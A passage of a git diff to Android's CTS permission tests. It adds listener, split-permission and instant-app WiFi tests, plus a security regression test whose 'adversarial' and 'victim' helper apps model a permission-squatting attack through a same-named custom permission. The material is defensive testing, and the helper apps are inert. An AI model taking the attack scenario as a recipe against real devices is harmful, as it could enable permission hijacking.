+                            CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SYSTEM_CAMERA));
+        }
+    }
+
+    /**
      * Check the absence of camera characteristics keys that require Permission:
      * {@link android.Manifest.permission#CAMERA}.
      */
@@ -153,6 +173,14 @@
                 cameraId, mCameraListener, mHandler);
     }
 
+    private static List<Integer> toList(int[] array) {
+        List<Integer> list = new ArrayList<Integer>();
+        for (int i  : array) {
+            list.add(i);
+        }
+        return list;
+    }
+
     private void closeCamera() {
         if (mCamera != null) {
             mCamera.close();
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 4ecf5b6..af9024f 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -56,7 +56,6 @@
 import android.os.Debug;
 import android.os.IBinder;
 import android.os.Looper;
-import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
@@ -69,6 +68,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ProtoUtils;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
 
@@ -79,8 +79,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 
@@ -215,26 +213,8 @@
      * Get the state of the job scheduler
      */
     public static JobSchedulerServiceDumpProto getJobSchedulerDump() throws Exception {
-        ParcelFileDescriptor pfd = sUiAutomation.executeShellCommand("dumpsys jobscheduler --proto");
-
-        try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
-            // Copy data from 'is' into 'os'
-            try (FileInputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
-                byte[] buffer = new byte[16384];
-
-                while (true) {
-                    int numRead = is.read(buffer);
-
-                    if (numRead == -1) {
-                        break;
-                    } else {
-                        os.write(buffer, 0, numRead);
-                    }
-                }
-            }
-
-            return JobSchedulerServiceDumpProto.parseFrom(os.toByteArray());
-        }
+        return ProtoUtils.getProto(sUiAutomation, JobSchedulerServiceDumpProto.class,
+                ProtoUtils.DUMPSYS_JOB_SCHEDULER);
     }
 
     /**
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java b/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java
new file mode 100644
index 0000000..afcd9e9
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionUpdateListenerTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.OnPermissionsChangedListener;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@AppModeFull(reason = "Instant apps cannot access properties of other apps")
+@RunWith(AndroidJUnit4ClassRunner.class)
+public class PermissionUpdateListenerTest {
+    private static final String APK =
+            "/data/local/tmp/cts/permissions/"
+                    + "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk";
+    private static final String PACKAGE_NAME =
+            "android.permission.cts.appthatrequestcustompermission";
+    private static final String PERMISSION_NAME = "android.permission.READ_CONTACTS";
+    private static final int TIMEOUT = 30000;
+
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private static final PackageManager sPm = sContext.getPackageManager();
+    private static int sUid;
+
+    @BeforeClass
+    public static void installApp() throws PackageManager.NameNotFoundException {
+        runShellCommand("pm install -r " + APK);
+        sUid = sPm.getPackageUid(PACKAGE_NAME, 0);
+    }
+
+    @AfterClass
+    public static void unInstallApp() {
+        runShellCommand("pm uninstall " + PACKAGE_NAME);
+    }
+
+    private class LatchWithPermissionsChangedListener extends CountDownLatch
+            implements OnPermissionsChangedListener {
+
+        LatchWithPermissionsChangedListener() {
+            super(1);
+        }
+
+        public void onPermissionsChanged(int uid) {
+            if (uid == sUid) {
+                countDown();
+            }
+        }
+    }
+
+    private void waitForLatchAndRemoveListener(@NonNull LatchWithPermissionsChangedListener latch)
+            throws Exception {
+        latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+        runWithShellPermissionIdentity(() -> sPm.removeOnPermissionsChangeListener(latch));
+        assertThat(latch.getCount()).isEqualTo((long) 0);
+    }
+
+    @Test
+    public void grantNotifiesListener() throws Exception {
+        LatchWithPermissionsChangedListener listenerCalled =
+                new LatchWithPermissionsChangedListener();
+
+        runWithShellPermissionIdentity(() -> {
+            sPm.revokeRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+            sPm.addOnPermissionsChangeListener(listenerCalled);
+            sPm.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+        });
+        waitForLatchAndRemoveListener(listenerCalled);
+    }
+
+    @Test
+    public void revokeNotifiesListener() throws Exception {
+        LatchWithPermissionsChangedListener listenerCalled =
+                new LatchWithPermissionsChangedListener();
+
+        runWithShellPermissionIdentity(() -> {
+            sPm.grantRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+            sPm.addOnPermissionsChangeListener(listenerCalled);
+            sPm.revokeRuntimePermission(PACKAGE_NAME, PERMISSION_NAME, sContext.getUser());
+        });
+        waitForLatchAndRemoveListener(listenerCalled);
+    }
+
+    @Test
+    public void updateFlagsNotifiesListener() throws Exception {
+        LatchWithPermissionsChangedListener listenerCalled =
+                new LatchWithPermissionsChangedListener();
+
+        runWithShellPermissionIdentity(() -> {
+            sPm.addOnPermissionsChangeListener(listenerCalled);
+            int flag = PackageManager.FLAG_PERMISSION_USER_SET;
+            sPm.updatePermissionFlags(PERMISSION_NAME, PACKAGE_NAME, flag, flag,
+                    sContext.getUser());
+        });
+        waitForLatchAndRemoveListener(listenerCalled);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
new file mode 100644
index 0000000..ff0204b
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+
+@AppModeFull(reason = "Instant apps cannot read state of other packages.")
+public class RemovePermissionTest {
+    private static final String APP_PKG_NAME = "android.permission.cts.revokepermissionwhenremoved";
+    private static final String USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.userapp";
+    private static final String TEST_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestPermission";
+    private static final String RUNTIME_PERMISSION_USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp";
+    private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp";
+    private static final String TEST_RUNTIME_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission";
+
+    private Context mContext;
+    private Instrumentation mInstrumentation;
+    private Object mMySync = new Object();
+
+    @Before
+    public void setContextAndInstrumentation() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
+    public void wakeUpScreen() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+    }
+
+    private boolean permissionGranted(String pkgName, String permName)
+            throws PackageManager.NameNotFoundException {
+        PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
+                GET_PERMISSIONS);
+
+        for (int i = 0; i < appInfo.requestedPermissions.length; i++) {
+            if (appInfo.requestedPermissions[i].equals(permName)
+                    && ((appInfo.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED)
+                    != 0)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void installApp(String apk) throws InterruptedException {
+        String installResult = SystemUtil.runShellCommand(
+                "pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", installResult.trim());
+    }
+
+    private void uninstallApp(String pkg) throws InterruptedException {
+        String uninstallResult = SystemUtil.runShellCommand(
+                "pm uninstall " + pkg);
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", uninstallResult.trim());
+    }
+
+    private void grantPermission(String pkg, String permission) {
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
+                pkg, permission);
+    }
+
+    @SecurityTest
+    @Test
+    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp("CtsAdversarialPermissionDefinerApp");
+        installApp("CtsAdversarialPermissionUserApp");
+
+        grantPermission(USER_PKG_NAME, TEST_PERMISSION);
+        assertTrue(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+
+        // Uninstall app which defines a permission with the same name as in victim app.
+        // Install the victim app.
+        uninstallApp(APP_PKG_NAME + ".AdversarialPermissionDefinerApp");
+        installApp("CtsVictimPermissionDefinerApp");
+        assertFalse(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+        uninstallApp(APP_PKG_NAME + ".userapp");
+        uninstallApp(APP_PKG_NAME + ".VictimPermissionDefinerApp");
+    }
+
+    @Test
+    public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+        installApp("CtsRuntimePermissionDefinerApp");
+        installApp("CtsRuntimePermissionUserApp");
+
+        grantPermission(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION);
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+
+        // Install app which defines a permission. This is similar to update the app
+        // operation
+        installApp("CtsRuntimePermissionDefinerApp");
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
+        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index 8609e33..c34b149 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -26,8 +26,10 @@
 import static android.content.Context.WIFI_SERVICE;
 
 import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
+import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeInstant;
 
 import androidx.test.InstrumentationRegistry;
@@ -80,8 +82,17 @@
 
     @Test
     public void cannotGetWifiManager() {
-        assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
-                WIFI_SERVICE));
+       // WifiManager binder object is retrieved lazily, so invoke a method to trigger a remote
+       // exception.
+        WifiManager wifiManager = (WifiManager) InstrumentationRegistry.getTargetContext()
+                .getSystemService(WIFI_SERVICE);
+        if (wifiManager == null) return;
+        try {
+            wifiManager.startLocalOnlyHotspot(new WifiManager.LocalOnlyHotspotCallback(), null);
+            fail(); // expect a exception.
+        } catch (Exception e) {
+            // expected
+        }
     }
 
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
index e6eeffc..b61f707 100644
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
@@ -18,8 +18,10 @@
 
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
 import static android.app.AppOpsManager.MODE_FOREGROUND;
 import static android.app.AppOpsManager.MODE_IGNORED;
 import static android.content.pm.PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED;
@@ -72,6 +74,10 @@
             TMP_DIR + "CtsAppThatRequestsContactsPermission15.apk";
     private static final String APK_CONTACTS_CALLLOG_16 =
             TMP_DIR + "CtsAppThatRequestsContactsAndCallLogPermission16.apk";
+    private static final String APK_STORAGE_29 =
+            TMP_DIR + "CtsAppThatRequestsStoragePermission29.apk";
+    private static final String APK_STORAGE_28 =
+            TMP_DIR + "CtsAppThatRequestsStoragePermission28.apk";
     private static final String APK_LOCATION_29 =
             TMP_DIR + "CtsAppThatRequestsLocationPermission29.apk";
     private static final String APK_LOCATION_28 =
@@ -261,6 +267,22 @@
      * If a permission was granted before the split happens, the new permission should inherit the
      * granted state.
      *
+     * This is a duplicate of {@link #inheritGrantedPermissionState} but for the storage permission
+     */
+    @Test
+    public void inheritGrantedPermissionStateStorage() throws Exception {
+        install(APK_STORAGE_29);
+        grantPermission(APP_PKG, READ_EXTERNAL_STORAGE);
+
+        install(APK_STORAGE_28);
+
+        assertPermissionGranted(ACCESS_MEDIA_LOCATION);
+    }
+
+    /**
+     * If a permission was granted before the split happens, the new permission should inherit the
+     * granted state.
+     *
      * <p>App using a shared uid
      */
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index c15b7a4..de9a30b 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -107,15 +107,11 @@
                     break;
                 case READ_EXTERNAL_STORAGE:
                     assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
-                    // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
-                    // always available hence removing this permission from seenSplits will
-                    // avoid seenSplits size check fail.
-                    seenSplits.remove(split);
                     break;
             }
         }
 
-        assertEquals(6, seenSplits.size());
+        assertEquals(7, seenSplits.size());
     }
 
     private void assertSplit(SplitPermissionInfo split, String permission, int targetSdk) {
diff --git a/tests/tests/permission/telephony/AndroidTest.xml b/tests/tests/permission/telephony/AndroidTest.xml
index 6177a81..cdf5ff1 100644
--- a/tests/tests/permission/telephony/AndroidTest.xml
+++ b/tests/tests/permission/telephony/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Telephony permission tests do not use any permission not available to instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <!-- Install main test suite apk -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..3710ad3
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAdversarialPermissionDefinerApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..d28fba8
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
new file mode 100644
index 0000000..6c996b4
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsAdversarialPermissionUserApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..f514d54
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.userapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..42c25e6
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsRuntimePermissionDefinerApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..d3cf6d0
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp">
+
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
new file mode 100644
index 0000000..cb77194
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsRuntimePermissionUserApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..d977e46
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp">
+
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission" />
+
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
new file mode 100644
index 0000000..8c87819
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
